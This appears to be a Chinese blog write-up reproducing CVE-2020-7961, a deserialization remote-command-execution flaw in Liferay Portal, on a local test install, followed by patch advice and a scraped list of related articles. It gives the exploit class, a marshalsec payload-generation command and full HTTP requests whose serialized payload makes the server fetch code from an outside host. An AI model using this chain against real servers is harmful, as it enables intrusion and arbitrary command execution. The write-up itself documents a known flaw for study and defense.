CVE-2020-7961 Liferay Portal 命令执行漏洞

0x00前言

心态炸裂,领导又画大饼,“昨天”说的可好,“今天”就啥也不管了。浑浑噩噩了一周了,简直就是带薪拉屎。唉,看最近补天有活动,也试着挖了一下洞,一周差不多200积分吧,新手挖洞,也不多。遇到的反序列化居多,但都是脚本小子,直接用工具了,这次尝试下不用别人提供的现成工具,跟着别人的步骤复现一下(抄袭小子),也没搞懂原理,只写复现过程,大佬勿喷。

0x01介绍

Liferay是一个开源的Portal产品,提供对多个独立系统的内容集成,为企业信息、流程等的整合提供了一套完整的解决方案,和其他商业产品相比,Liferay有着很多优良的特性,而且免费,在全球都有较多用户。

0x02漏洞描述

Liferay Portal CE是一款用来快速构建网站的开源系统。其7.2.0
GA1及以前的版本API接口中存在一处反序列化漏洞,利用该漏洞可在目标服务器上执行任意命令。

0x03影响版本

Liferay Portal CE<V7.2.0 GA1

0x04漏洞复现

1、环境搭建
Windows 10
jdk1.8(配好环境变量)
jde1.8(配好环境变量)
tomcat.liferay集成包:
https://github.com/liferay/liferay-portal/releases/tag/7.2.0-ga1

2、启动环境
进入到以下目录,打开cmd,运行catalina.bat run:
liferay-ce-portal-tomcat-7.2.0-ga1-20190531153709761\liferay-ce-portal-7.2.0-ga1\tomcat-9.0.17\bin

运行完后,访问127.0.0.1:8888(我这里设置的tomcat端口是8888,默认端口为8080),进入网页后是安装程序,一路默认配置就行。

3、编写EXP

public class LifExp { static { try { String[] cmd = {"cmd.exe", "/c", "calc.exe"};java.lang.Runtime.getRuntime().
exec(cmd).waitFor(); } catch ( Exception e ) { e.printStackTrace(); } }
}

将以上代码,编写保存为LifExp.java
然后编译LifExp.java为LifExp.class

javac LifExp.java

4、生成payload

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Jackson C3P0WrapperConnPool http://ip:port/ LifExp

把LifExp.class放在web根目录下,我这里是放在我自己的vps上了,也可以用python临时搭建一个web服务器。
Marshalsec下载地址:https://github.com/RandomRobbieBF/marshalsec-jar

5、漏洞页面
此漏洞存在与/api/jsonws页面中,所以访问http://127.0.0.1:8888/api/jsonws页面

可以看到左边存在很多接口,找到ExpandoColumn下的add-column或update-column接口,这两个都行,这里使用add-column,可以看到有两个add-column,选择带有序列化参数的那一个add-column

6、发送payload
随便输入数据,抓包,发送payload

生成的Payload是Jackson使用的,我们需要按照Liferay Portal的形式,即+参数名:类名=值,来修改这个Payload,
defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource= 后面的内容换成生成payload

原数据包(中间那个.是代表回车)
POST /api/jsonws/invoke HTTP/1.1
Host: 192.168.103.107:8888
Content-Length: 140
Accept: application/json, text/javascript, /; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.103.107:8888
Referer: http://192.168.103.107:8888/api/jsonws?contextName=&signature=%2Fexpandocolumn%2Fadd-column-4-long-java.lang.String-int-java.lang.Object
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: GUEST_LANGUAGE_ID=en_US; COOKIE_SUPPORT=true; JSESSIONID=61B32DE678BBF1109505A4AF3FF4558E; LFR_SESSION_STATE_20105=1608698812632
Connection: close
.
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=1GPaRGQq&formDate=1608698810999&tableId=1&name=233&type=232&%2BdefaultData=333

带有payload的数据包(中间那个.是代表回车)
POST /api/jsonws/invoke HTTP/1.1
Host: 192.168.103.107:8888
Content-Length: 1312
Content-Type:application/x-www-form-urlencoded
Connection: close
.
cmd=%7B%22%2Fexpandocolumn%2Fadd-column%22%3A%7B%7D%7D&p_auth=1GPaRGQq&formDate=1608698810999&tableId=1&name=233&type=232&defaultData:com.mchange.v2.c3p0.WrapperConnectionPoolDataSource={“userOverridesAsString”:“HexAsciiSerializedMap:aced00057372003d636f6d2e6d6368616e67652e76322e6e616d696e672e5265666572656e6365496e6469726563746f72245265666572400154c6a6176612f7574696c2f486173687461626c653b4c00046e616d6571007e00014c00097265666572656e63657400184c6a617661782f6e616d696e672f5265666572656e63653b7870707070737200166a617661782e6e616d696e672e5265666572656e6365e8c69ea2a8e98d090200044c000561646472737400124c6a6176612f7574696c2f566563746f723b0078700000000a70707070707070707070787400064c696645787074001b687474703a2f2f3130332e34352e3138302e3135303a383838382f740003466f6f;”}

成功弹出计算器

0x05漏洞修复

Liferay Portal 7.2: Liferay Portal 7.2.0没有可用的修补程序。而是,用户应升级到Liferay
Portal 7.3.1 GA2或更高版本。

Liferay Portal 7.1:Liferay Portal 7.1
GA4(7.1.3)的源修补程序可在GitHub上获得。可以在Patching Liferay
Portal页面上找到有关使用源补丁的详细信息。

Liferay Portal 7.0:Liferay Portal 7.0
GA7(7.0.6)的源修补程序可在GitHub上获得。可以在Patching Liferay
Portal页面上找到有关使用源补丁的详细信息。

Liferay Portal 6.2:Liferay Portal 6.2
GA6(6.2.5)的源修补程序可在GitHub上获得。可以在Patching Liferay
Portal页面上找到有关使用源补丁的详细信息。

文章参考:https://blog.csdn.net/weixin_45728976/article/details/105819343
https://mp.weixin.qq.com/s/Jni6hoqMVjs5yzZpiBqkvw
https://www.yuque.com/0xzs/research/hxbxm6

CVE-2020-7961 Liferay Portal 命令执行漏洞相关推荐

  1. CVE-2020-7961 Liferay Portal 代码执行漏洞复现

    CVE-2020-7961 Liferay Portal 代码执行漏洞复现 原创 shadow1ng [雷神众测](javascript:void(0)

  2. 【安全漏洞】Rocket.Chat 远程命令执行漏洞分析

    简述 Rocket.Chat 是一个开源的完全可定制的通信平台,由 Javascript 开发,适用于具有高标准数据保护的组织. 2021年3月19日,该漏洞在 HackerOne 被提出,于2021 ...

  3. 远程执行漏洞修复方案_请马上修复!SaltStack远程命令执行漏洞

    [漏洞预警]SaltStack远程命令执行漏洞(CVE-2020-11651.CVE-2020-11652) 2020年5月3日,阿里云应急响应中心监测到近日国外某安全团队披露了SaltStack存在 ...

  4. php代码审计命令执行,PHP代码审计笔记--命令执行漏洞

    命令执行漏洞,用户通过浏览器在远程服务器上执行任意系统命令,严格意义上,与代码执行漏洞还是有一定的区别. 0x01漏洞实例 例1: $target=$_REQUEST['ip']; $cmd = sh ...

  5. CVE-2019-19781 Citrix ADCNetScaler远程命令执行漏洞

    未经允许,不得擅自转载,违者必究 一.前言 @Adminxe 因为最近在刷edusrc,由此发现这个漏洞,涉及多所高校,所以过来给大家实战POC测试一波,可直接进行命令执行,Citrix产品中的漏洞使 ...

  6. 【vulhub】Atlassian Confluence 路径穿越与命令执行漏洞(CVE-2019-3396)复现与反思!

    特征 1.8090端口 2.confluence图标(如图所示) 搭建环境 搭建confluence看这4篇教程,该cve搭建是用Confluence Server, 但是tm就是没有Confluen ...

  7. 代码审计-dubbo admin =2.6.1远程命令执行漏洞

    前置 输入材料 安全目标和需求 架构分析 供应链安全 源代码审查 依赖结构矩阵(Dependency Structure Matrices,DSM) 数据流 信任边界 数据存贮 威胁列表 otter ...

  8. 【Vulhub】Apache Log4j Server 反序列化命令执行漏洞复现(CVE-2017-5645)

    脚本小子上线啦,开始复现以前出现实战环境的漏洞了,我会记录一些复现的漏洞(不会是全部),今天这个漏洞的原理我也不太会就知道是个Java反序列化的洞,只负责复现(脚本小子~). 漏洞介绍&环境搭 ...

  9. flexpaper php 代码,FlexPaper 2.3.6 远程命令执行漏洞 附Exp

    影响版本:小于FlexPaper 2.3.6的所有版本 FlexPaper (https://www.flowpaper.com) 是一个开源项目,遵循GPL协议,在互联网上非常流行.它为web客户端 ...

  10. 通达OA v11.9 getdata任意命令执行漏洞复现+利用

    1.产品简介 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台.包括流程审批.行政办 ...

最新文章

  1. python位运算符
  2. LibreOJ #6207. 米缇(杜教筛 + 拉格朗日插值)
  3. 夜间工作致癌的原因被发现:熬夜破坏了癌症相关基因的节律,导致DNA损伤增加、修复效率降低...
  4. 【Leetcode】Python实现字符串转整数 (atoi) - 详细备注,保证小白看懂
  5. plc tcp ip通讯怎么只能连一个客户端_一款Ethernet/IP和Modbus TCP转OPC UA产品
  6. Url ReWriting
  7. 软件开发的一些感想(五年工作总结版)
  8. 华为手机动态修改手机型号参数
  9. 【C语言】 C语言图形编程 俄罗斯方块 课程设计
  10. 教师资格证面试试讲规律!
  11. 夜神模拟器安装激活面具magisk教程
  12. Poco Timer
  13. 类和对象7:构造和析构方法
  14. CF417D Cunning Gena
  15. 头歌:打印直角三角形
  16. VNC Connect远程工具使用-使用体验极高
  17. 扫地机器人自动回充原理
  18. ECMAScript 6 简明教程
  19. percona-toolkit的安装及简介
  20. 阅读笔记——2019_004 A SURVEY OF TECHNIQUES FOR EVENT DETECTION IN TWITTER

热门文章

  1. 第四章:字处理软件Word 2010——知识点整理
  2. 计算机Word2010在线做题,Word2010试题练习题库(答案).doc
  3. macos安装盘第三方工具制作_简单制作macOSSierra正式版U盘USB启动安装盘方法教程(全新安装Mac系统)...
  4. 英语口语8级是这么炼成的!
  5. Android蓝牙传给iPad,无需越狱通过蓝牙让 iPod touch/iPad 连接 Android 手机共享上网...
  6. 小米手机打开报告mimu查看程序调试错误locat
  7. 02_如何计算叔块奖励
  8. 大学四年的收获及工作感悟
  9. cmos电路多余输入端能否悬空_CMOS电路多余输入端悬空会造成逻辑混乱,可以这样处理!...
  10. 打字测试软件源码 vb,打字测试程序 VB代码